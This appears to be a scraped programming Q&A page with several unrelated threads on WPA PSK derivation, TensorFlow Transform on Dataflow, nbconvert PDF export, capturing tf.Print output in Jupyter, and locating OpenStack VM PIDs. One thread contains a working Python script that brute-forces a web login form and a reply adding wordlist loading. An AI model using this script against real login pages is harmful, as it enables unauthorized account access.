wpa_passphrase "testing" "testingpassword"network={
ssid="testing"
#psk="testingpassword"
psk=ae9400eac47807861c32f6b2d52434594fe1f1cbbd5ae0d89d5199ea5e4c79aa
}
I did a python script as this wikipedia article tells me how to compute wpa psk:
https://en.wikipedia.org/wiki/Wi-Fi_Protected_Access#Target_users_.28authentication_key_distribution.29
like this:
import hashlib, binascii
def wpa_psk(ssid, password):
dk = hashlib.pbkdf2_hmac('sha1', str.encode(password), str.encode(ssid), 4096)
return (binascii.hexlify(dk))
print((wpa_psk("testing", "testingpassword")))
Output: b'ae9400eac47807861c32f6b2d52434594fe1f1cb'
Which is part of the psk generated by the wpa_passphrase tool. What's missing?
The only thing missing was an specifying the dklen parameter when calling hashlib.pbkdf2_hmac(). This parameter should be set to 32.
import hashlib, binascii
def wpa_psk(ssid, password):
dk = hashlib.pbkdf2_hmac('sha1', str.encode(password), str.encode(ssid), 4096, 32)
return (binascii.hexlify(dk))
print((wpa_psk("testing", "testingpassword")))
It may be too late now, I came across this question, you could do this:
import hashlib, binascii
def wpa_psk(ssid, password):
dk = hashlib.pbkdf2_hmac(
'sha1',
str.encode(password),
str.encode(ssid),
4096,
256
)
return (binascii.hexlify(dk))
print((wpa_psk('testing', 'testingPassword')[0:64].decode('utf8')))
The output is
131e1e221f6e06e3911a2d11ff2fac9182665c004de85300f9cac208a6a80531
You could make this into a script:
import hashlib, binascii
from getpass import getpass
def wpa_psk():
'''
Encrypt password using ssid and password for WPA and WPA2
'''
ssid=input("SSID: ")
dk = hashlib.pbkdf2_hmac(
'sha1', str.encode(getpass("Password: ")),
str.encode(ssid), 4096, 32
)
print(binascii.hexlify(dk).decode("UTF-8"))
After a long Internet search , finally I found psk.py. Able to compute the PSK from SSID and Passphrase. Please check :-)
Related
I'm trying to run an Apache Beam job based on Tensorflow Transform on Dataflow but its killed. Someone has experienced that behaviour? This is a simple example with DirectRunner, that runs ok on my local but fails on Dataflow (I change the runner properly):
import os
import csv
import datetime
import numpy as np
import tensorflow as tf
import tensorflow_transform as tft
from apache_beam.io import textio
from apache_beam.io import tfrecordio
from tensorflow_transform.beam import impl as beam_impl
from tensorflow_transform.beam import tft_beam_io
from tensorflow_transform.tf_metadata import dataset_metadata
from tensorflow_transform.tf_metadata import dataset_schema
import apache_beam as beam
NUMERIC_FEATURE_KEYS = ['feature_'+str(i) for i in range(2000)]
def _create_raw_metadata():
column_schemas = {}
for key in NUMERIC_FEATURE_KEYS:
column_schemas[key] = dataset_schema.ColumnSchema(tf.float32, [], dataset_schema.FixedColumnRepresentation())
raw_data_metadata = dataset_metadata.DatasetMetadata(dataset_schema.Schema(column_schemas))
return raw_data_metadata
def preprocessing_fn(inputs):
outputs={}
for key in NUMERIC_FEATURE_KEYS:
outputs[key] = tft.scale_to_0_1(inputs[key])
return outputs
def main():
output_dir = '/tmp/tmp-folder-{}'.format(datetime.datetime.now().strftime('%Y%m%d%H%M%S'))
RUNNER = 'DirectRunner'
with beam.Pipeline(RUNNER) as p:
with beam_impl.Context(temp_dir=output_dir):
raw_data_metadata = _create_raw_metadata()
_ = (raw_data_metadata | 'WriteInputMetadata' >> tft_beam_io.WriteMetadata(os.path.join(output_dir, 'rawdata_metadata'), pipeline=p))
m = numpy_dataset = np.random.rand(100,2000)*100
raw_data = (p
| 'CreateTestDataset' >> beam.Create([dict(zip(NUMERIC_FEATURE_KEYS, m[i,:])) for i in range(m.shape[0])]))
raw_dataset = (raw_data, raw_data_metadata)
transform_fn = (raw_dataset | 'Analyze' >> beam_impl.AnalyzeDataset(preprocessing_fn))
_ = (transform_fn | 'WriteTransformFn' >> tft_beam_io.WriteTransformFn(output_dir))
(transformed_data, transformed_metadata) = ((raw_dataset, transform_fn) | 'Transform' >> beam_impl.TransformDataset())
transformed_data_coder = tft.coders.ExampleProtoCoder(transformed_metadata.schema)
_ = transformed_data | 'WriteTrainData' >> tfrecordio.WriteToTFRecord(os.path.join(output_dir, 'train'), file_name_suffix='.gz', coder=transformed_data_coder)
if __name__ == '__main__':
main()
Also, my production code (not shown) fail with the message: The job graph is too large. Please try again with a smaller job graph, or split your job into two or more smaller jobs.
Any hint?
The restriction on the pipeline description size is documented here:
https://cloud.google.com/dataflow/quotas#limits
There is a way around that, instead of creating stages for each tensor that goes into tft.scale_to_0_1 we could fuse them by first stacking them together, and then passing them into tft.scale_to_0_1 with 'elementwise=True'.
The result will be the same, because the min and max are computed per 'column' instead of across the whole tensor.
This would look something like this:
stacked = tf.stack([inputs[key] for key in NUMERIC_FEATURE_KEYS], axis=1)
scaled_stacked = tft.scale_to_0_1(stacked, elementwise=True)
for key, tensor in zip(NUMERIC_FEATURE_KEYS, tf.unstack(scaled_stacked, axis=1)):
outputs[key] = tensor
I am trying to export a pdf copy of a jupyter notebook using nbconvert from within a notebook cell. I have read the documentation, but I just cannot find some basic code to actually execute the nbconvert command and export to pdf.
I was able to get this far, but I was hoping that someone could just fill in the final gaps.
from nbconvert import PDFExporter
notebook_pdf = PDFExporter()
notebook_pdf.template_file = '../print_script/pdf_nocode.tplx'
Note sure how to get from here to actually getting the pdf created.
Any help would be appreciated.
I'm no expert, but managed to get this working. The key is that you need to preprocess the notebook which will allow you to use the PDFExporter.from_notebook_node() function. This will give you your pdf_data in byte format that can then be written to file:
import nbformat
from nbconvert.preprocessors import ExecutePreprocessor
from nbconvert import PDFExporter
notebook_filename = "notebook.ipynb"
with open(notebook_filename) as f:
nb = nbformat.read(f, as_version=4)
ep = ExecutePreprocessor(timeout=600, kernel_name='python3')
ep.preprocess(nb, {'metadata': {'path': 'notebooks/'}})
pdf_exporter = PDFExporter()
pdf_data, resources = pdf_exporter.from_notebook_node(nb)
with open("notebook.pdf", "wb") as f:
f.write(pdf_data)
f.close()
It's worth noting that the ExecutePreprocessor requires the resources dict, but we don't use it in this example.
Following is rest api that convert .ipynb file into .html
POST: http://URL/export/<id>
Get: http://URL/export/<id> will return a id.html
import os
from flask import Flask, render_template, make_response
from flask_cors import CORS
from flask_restful import reqparse, abort, Api, Resource
from nbconvert.exporters import HTMLExporter
exporter = HTMLExporter()
app = Flask(__name__)
cors = CORS(app, resources={r"/export/*": {"origins": "*"}})
api = Api(app)
parser = reqparse.RequestParser()
parser.add_argument('path')
notebook_file_srv = '/path of your .ipynb file'
def notebook_doesnt_exist(nb):
abort(404, message="Notebook {} doesn't exist".format(nb))
class Notebook(Resource):
def get(self, id):
headers = {'Content-Type': 'text/html'}
return make_response(render_template(id + '.html'), 200, headers)
def post(self, id):
args = parser.parse_args()
notebook_file = args['path']
notebook_file = notebook_file_srv + id + '.ipynb'
if not os.path.exists(notebook_file):
return 'notebook \'.ipynb\' file not found', 404
else:
nb_name, _ = os.path.splitext(os.path.basename(notebook_file))
# dirname = os.path.dirname(notebook_file)
output_path = os.path.join(os.path.abspath(os.path.dirname(__file__)), 'templates')
output_path = os.path.join(output_path, '{}.html'.format(nb_name))
output, resources = exporter.from_filename(notebook_file)
f = open(output_path, 'wb')
f.write(output.encode('utf8'))
f.close()
return 'done', 201
api.add_resource(Notebook, '/export/<id>')
if __name__ == '__main__':
app.run(debug=True)
I'm using the tf.Print op in a Jupyter notebook. It works as required, but will only print the output to the console, without printing in the notebook. Is there any way to get around this?
An example would be the following (in a notebook):
import tensorflow as tf
a = tf.constant(1.0)
a = tf.Print(a, [a], 'hi')
sess = tf.Session()
a.eval(session=sess)
That code will print 'hi[1]' in the console, but nothing in the notebook.
Update Feb 3, 2017
I've wrapped this into memory_util package. Example usage
# install memory util
import urllib.request
response = urllib.request.urlopen("https://raw.githubusercontent.com/yaroslavvb/memory_util/master/memory_util.py")
open("memory_util.py", "wb").write(response.read())
import memory_util
sess = tf.Session()
a = tf.random_uniform((1000,))
b = tf.random_uniform((1000,))
c = a + b
with memory_util.capture_stderr() as stderr:
sess.run(c.op)
print(stderr.getvalue())
** Old stuff**
You could reuse FD redirector from IPython core. (idea from Mark Sandler)
import os
import sys
STDOUT = 1
STDERR = 2
class FDRedirector(object):
""" Class to redirect output (stdout or stderr) at the OS level using
file descriptors.
"""
def __init__(self, fd=STDOUT):
""" fd is the file descriptor of the outpout you want to capture.
It can be STDOUT or STERR.
"""
self.fd = fd
self.started = False
self.piper = None
self.pipew = None
def start(self):
""" Setup the redirection.
"""
if not self.started:
self.oldhandle = os.dup(self.fd)
self.piper, self.pipew = os.pipe()
os.dup2(self.pipew, self.fd)
os.close(self.pipew)
self.started = True
def flush(self):
""" Flush the captured output, similar to the flush method of any
stream.
"""
if self.fd == STDOUT:
sys.stdout.flush()
elif self.fd == STDERR:
sys.stderr.flush()
def stop(self):
""" Unset the redirection and return the captured output.
"""
if self.started:
self.flush()
os.dup2(self.oldhandle, self.fd)
os.close(self.oldhandle)
f = os.fdopen(self.piper, 'r')
output = f.read()
f.close()
self.started = False
return output
else:
return ''
def getvalue(self):
""" Return the output captured since the last getvalue, or the
start of the redirection.
"""
output = self.stop()
self.start()
return output
import tensorflow as tf
x = tf.constant([1,2,3])
a=tf.Print(x, [x])
redirect=FDRedirector(STDERR)
sess = tf.InteractiveSession()
redirect.start();
a.eval();
print "Result"
print redirect.stop()
I ran into the same problem and got around it by using a function like this in my notebooks:
def tf_print(tensor, transform=None):
# Insert a custom python operation into the graph that does nothing but print a tensors value
def print_tensor(x):
# x is typically a numpy array here so you could do anything you want with it,
# but adding a transformation of some kind usually makes the output more digestible
print(x if transform is None else transform(x))
return x
log_op = tf.py_func(print_tensor, [tensor], [tensor.dtype])[0]
with tf.control_dependencies([log_op]):
res = tf.identity(tensor)
# Return the given tensor
return res
# Now define a tensor and use the tf_print function much like the tf.identity function
tensor = tf_print(tf.random_normal([100, 100]), transform=lambda x: [np.min(x), np.max(x)])
# This will print the transformed version of the tensors actual value
# (which was summarized to just the min and max for brevity)
sess = tf.InteractiveSession()
sess.run([tensor])
sess.close()
FYI, using a logger instead of calling "print" in my custom function worked wonders for me as the stdout is often buffered by jupyter and not shown before "Loss is Nan" kind of errors -- which was the whole point in using that function in the first place in my case.
You can check the terminal where you launched the jupyter notebook to see the message.
import tensorflow as tf
tf.InteractiveSession()
a = tf.constant(1)
b = tf.constant(2)
opt = a + b
opt = tf.Print(opt, [opt], message="1 + 2 = ")
opt.eval()
In the terminal, I can see:
2018-01-02 23:38:07.691808: I tensorflow/core/kernels/logging_ops.cc:79] 1 + 2 = [3]
A simple way, tried it in regular python, but not jupyter yet.
os.dup2(sys.stdout.fileno(), 1)
os.dup2(sys.stdout.fileno(), 2)
Explanation is here: In python, how to capture the stdout from a c++ shared library to a variable
The issue that I faced was that one can't run a session inside a Tensorflow Graph, like in the training or in the evaluation.
That's why the options to use sess.run(opt) or opt.eval() were not a solution for me.
The best thing was to use tf.Print() and redirect the logging to an external file.
I did this using a temporal file, which I transferred to a regular file like this:
STDERR=2
import os
import sys
import tempfile
class captured:
def __init__(self, fd=STDERR):
self.fd = fd
self.prevfd = None
def __enter__(self):
t = tempfile.NamedTemporaryFile()
self.prevfd = os.dup(self.fd)
os.dup2(t.fileno(), self.fd)
return t
def __exit__(self, exc_type, exc_value, traceback):
os.dup2(self.prevfd, self.fd)
with captured(fd=STDERR) as tmp:
...
classifier.evaluate(input_fn=input_fn, steps=100)
with open('log.txt', 'w') as f:
print(open(tmp.name).read(), file=f)
And then in my evaluation I do:
a = tf.constant(1)
a = tf.Print(a, [a], message="a: ")
I have this Python script that bruteforces a web-form (login) using itertools.
How would I replace the bruteforce/dictionary generation process with a load-passwords-from-wordlist.txt feature?
My code:
#!/usr/bin/python
import mechanize
import itertools
br = mechanize.Browser()
br.set_handle_equiv(True)
br.set_handle_redirect(True)
br.set_handle_referer(True)
br.set_handle_robots(False)
combos = itertools.permutations("a-zA-Z",5)
r = br.open("http://example.com/login")
for x in combos:
br.select_form(nr = 0)
br.form['username'] = "my_username_123"
br.form['password'] = ''.join(x)
print "Checking ",br.form['password']
response = br.submit()
if response.geturl()!="http://example.com/login":
print "Correct password is ",''.join(x)
break
Something like this could be added so if a password file is present in the command line arguments it will use that instead of the pre-defined list.
Example: python script.py password.txt
import sys
import os
if len(sys.argv) > 1:
if os.path.exists(sys.argv[1]):
combos = [line.strip() for line in open(sys.argv[1])]
else:
print "[-] File not found"
sys.exit(0)
else:
combos = itertools.permutations("a-zA-Z",5)
I am working on openstack and I want to monitor the Virtual Machines cpu usage. For that I want to find their PIDs through the parent (central) openstack instance.
I used
ps aux | grep
and I did receive an output. I however want to confirm if this is correct PID. Is their any way I can check this?
Or is their any other way to find the PID's of the virtual machine?
Update.
This command does not work . It gives me a PID which always change. Its not constant.
Thank you
Well libvirt has some interfaces for this. Here's some python that extracts that data into datastructures for you:
#!/usr/bin/env python
# Modules
import subprocess
import traceback
import commands
import signal
import time
import sys
import re
import os
import getopt
import pprint
try:
import libvirt
except:
print "no libvirt detected"
sys.exit(0)
from xml.dom.minidom import parseString
global instances
global virt_conn
global tick
global virt_exist
def virtstats():
global virt_exist
global virt_conn
global instances
cpu_stats = []
if virt_exist == True:
if virt_conn == None:
print 'Failed to open connection to the hypervisor'
virt_exist = False
if virt_exist == True:
virt_info = virt_conn.getInfo()
for x in range(0, virt_info[2]):
cpu_stats.append(virt_conn.getCPUStats(x,0))
virt_capabilities = virt_conn.getCapabilities()
domcpustats = 0
# domcpustats = virDomain::GetcpuSTATS()
totmem = 0
totvcpu = 0
totcount = 0
vcpu_stats = []
for id in virt_conn.listDomainsID():
dom = virt_conn.lookupByID(id)
totvcpu += dom.maxVcpus()
vcpu_stats.append(dom.vcpus())
totmem += dom.maxMemory()
totcount += 1
dom = parseString(virt_capabilities)
xmlTag = dom.getElementsByTagName('model')[0].toxml()
xmlData=xmlTag.replace('<model>','').replace('</model>','')
for info in virt_info:
print info
for stat in cpu_stats:
print "cpu %s" % stat
for vstat in vcpu_stats:
print "vcpu:\n"
pprint.pprint(vstat)
print "CPU ( %s ) Use - %s vCPUS ( %s logical processors )" % (xmlData, totvcpu, virt_info[2])
sys.exit(0)
def main():
try:
global virt_conn
global virt_exist
virt_conn = libvirt.openReadOnly(None)
virt_exist = True
except:
virt_exist = False
print "OK: not a compute node"
sys.exit(0)
virtstats()
if __name__ == "__main__":
main()
Now what you get from this in terms of usage is cpu time.
The vcpu blocks are basically in this layout:
1st: vCPU number, starting from 0.
2nd: vCPU state.
0: offline
1: running
2: blocked on resource
3rd: CPU time used in nanoseconds
4th: real CPU number
The CPU blocks are obvious once you realize that's what's goin down in libvirt.
Hope that helps!
By using libvirt, python, lxml, and lsof you can recover the pid if your Virtual Instance (domain) has a display output set. (VNC, Spice, ...)
Retrieve display port
Retrieve pid from opened display port
Here is the code:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from lxml import etree
import libvirt
from subprocess import check_output
def get_port_from_XML(xml_desc):
tree = etree.fromstring(xml_desc)
ports = tree.xpath('//graphics/#port')
if len(ports):
return ports[0]
return None
def get_pid_from_listen_port(port):
if port is None:
return ''
return check_output(['lsof', '-i:%s' % port, '-t']).replace('\n','')
conn = libvirt.openReadOnly('')
if conn is None:
print 'Failed to open connection to the hypervisor'
sys.exit(1)
for domain_id in conn.listDomainsID():
domain_instance = conn.lookupByID(domain_id)
name = domain_instance.name()
xml_desc = domain_instance.XMLDesc(0)
port = get_port_from_XML(xml_desc)
pid = get_pid_from_listen_port(port)
print '%s (port:%s) (pid:%s)' % (name, port, pid)
grep "79d87652-8c8e-4afa-8c13-32fbcbf98e76" --include=libvirt.xml /path/to/nova/instances -r -A 2 | grep "<name" | cut -d " " -f 3
allows to find "instance-" which can be mapped to ps aux output of "-name" parameter. so you can map openstack instance id to pid.
The most simple way is using cgroups:
In Ubuntu:
cat /sys/fs/cgroup/cpuset/libvirt/qemu/<machine-name>/tasks